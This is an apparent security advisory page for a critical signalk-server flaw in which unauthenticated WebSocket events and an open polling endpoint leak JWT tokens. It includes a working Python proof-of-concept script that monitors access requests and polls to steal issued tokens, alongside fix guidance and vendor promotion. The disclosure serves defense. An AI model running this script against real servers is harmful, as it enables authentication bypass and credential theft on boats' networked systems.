GHSA-fq56-hvg6-wvm5
CRITICALSignal K Server vulnerable to JWT Token Theft via WebSocket Enumeration and Unauthenticated Polling
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
signalk-servernpmDescription
SignalK Server exposes two features that can be chained together to steal JWT authentication tokens without any prior authentication. The attack combines WebSocket-based request enumeration with unauthenticated polling of access request status.
Unauthenticated WebSocket Request Enumeration: When a WebSocket client connects to the SignalK stream endpoint with the serverevents=all query parameter, the server sends all cached server events including ACCESS_REQUEST events that contain details about pending access requests. The startServerEvents function iterates over app.lastServerEvents and writes each cached event to any connected client without verifying authorization level. Since WebSocket connections are allowed for readonly users (which includes unauthenticated users when allow_readonly is true), attackers receive these events containing request IDs, client identifiers, descriptions, requested permissions, and IP addresses.
Unauthenticated Token Polling: The access request status endpoint at /signalk/v1/access/requests/:id returns the full state of an access request without requiring authentication. When an administrator approves a request, the response includes the issued JWT token in plaintext. The queryRequest function returns the complete request object including the token field, and the REST endpoint uses readonly authentication, allowing unauthenticated access.
An attacker has two paths to exploit these vulnerabilities:
-
The attacker creates their own access request (using the IP spoofing vulnerability to craft a convincing spoofed request), then polls their own request ID until an administrator approves it, receiving the JWT token.
-
The attacker passively monitors the WebSocket stream to discover request IDs from legitimate devices, then polls those IDs and steals the JWT tokens when administrators approve them, hijacking legitimate device credentials.
Both paths require zero authentication and enable complete authentication bypass.
Affected Code
File: src/events.ts (lines 40-43)
Object.keys(app.lastServerEvents).forEach((propName) => {
spark.write(app.lastServerEvents[propName])
})
All cached server events, including ACCESS_REQUEST, are sent to any connected WebSocket client without permission checks.
File: src/tokensecurity.js (lines 946-948)
strategy.getAccessRequestsResponse = () => {
return filterRequests('accessRequest', 'PENDING')
}
This function returns all pending requests with full details, which is then broadcast as a server event.
File: src/requestResponse.js (lines 108-135)
function createReply(request, state, props) {
const reply = {
state: state,
requestId: request.requestId
}
if (request.updateCb) {
props.forEach((prop) => {
if (typeof request[prop] !== 'undefined') {
reply[prop] = request[prop] // Includes 'token' when approved
}
})
}
return reply
}
When an access request transitions to COMPLETED state with APPROVED permission, the token is included in the reply object.
File: src/interfaces/rest.js (endpoint registration)
The /signalk/v1/access/requests/:id endpoint uses readonly authentication, allowing unauthenticated access when allow_readonly is true.
Impact
An attacker can obtain any JWT token issued by the server without authentication. By exploiting the social engineering vulnerability to request admin permissions, they receive a fully privileged admin token granting access to all protected endpoints including package installation, effectively bypassing authentication entirely. Additionally, attackers can hijack legitimate device credentials by stealing tokens intended for real devices.
PoC
import json, websocket, requests, time
TARGET_IP, TARGET_PORT = "localhost", 3000
TARGET_WS = f"ws://{TARGET_IP}:{TARGET_PORT}"
TARGET_HTTP = f"http://{TARGET_IP}:{TARGET_PORT}"
def poll_for_token(request_id, href):
print(f"[*] Polling started for request {request_id}")
url = f"{TARGET_HTTP}{href}"
while True:
try:
r = requests.get(url)
if r.status_code == 200:
data = r.json()
state = data.get("state")
print(f"[.] Request {request_id} state: {state}")
if state == "COMPLETED":
access_req = data.get("accessRequest", {})
permission = access_req.get("permission")
token = access_req.get("token")
print(f"[*] Request completed - Permission: {permission}, Token present: {bool(token)}")
if token:
print(f"[+] TOKEN STOLEN")
print(f"[+] Permission: {permission}")
print(f"[+] JWT Token: {token}")
return token
else:
print(f"[-] Request {request_id} denied or no token")
return None
else:
print(f"[-] HTTP {r.status_code} for request {request_id}")
except Exception as e:
print(f"[-] Error polling {request_id}: {e}")
time.sleep(5)
def monitor_and_steal_tokens():
uri = f"{TARGET_WS}/signalk/v1/stream?serverevents=all"
print(f"[*] Connecting to {uri}")
ws = websocket.create_connection(uri)
print("[+] Connected, monitoring for ACCESS_REQUEST events...")
while True:
message = ws.recv()
msg = json.loads(message)
if msg.get("type") == "ACCESS_REQUEST":
print("[+] ACCESS_REQUEST event received!")
data = msg.get("data", [])
if data:
req = data[0]
request_id = req.get('requestId')
permissions = req.get('clientRequest', {}).get('permissions')
href = req.get('href', f'/signalk/v1/requests/{request_id}')
print(f"[*] Found request: {request_id}")
print(f"[*] Closing WebSocket and starting polling...")
ws.close()
poll_for_token(request_id, href)
break
if __name__ == "__main__":
monitor_and_steal_tokens()
Recommendations
- Require strict authentication for all WebSocket channels. The
serverevents=allparameter should only be accessible to authenticated admin users. Unauthenticated or readonly users should not receive any server events. - Place
ACCESS_REQUESTevents behind strict authentication. Even if other server events are available to readonly users, access request details must only be sent to authenticated administrators. - Implement client verification so only the original requester can retrieve their token
- Consider delivering tokens through a separate secure channel rather than the polling endpoint
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | signalk-server | all versions | 2.19.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for signalk-server. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update signalk-server to 2.19.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-fq56-hvg6-wvm5 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-fq56-hvg6-wvm5 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-fq56-hvg6-wvm5. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-fq56-hvg6-wvm5 in your dependencies?
O3 detects GHSA-fq56-hvg6-wvm5 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.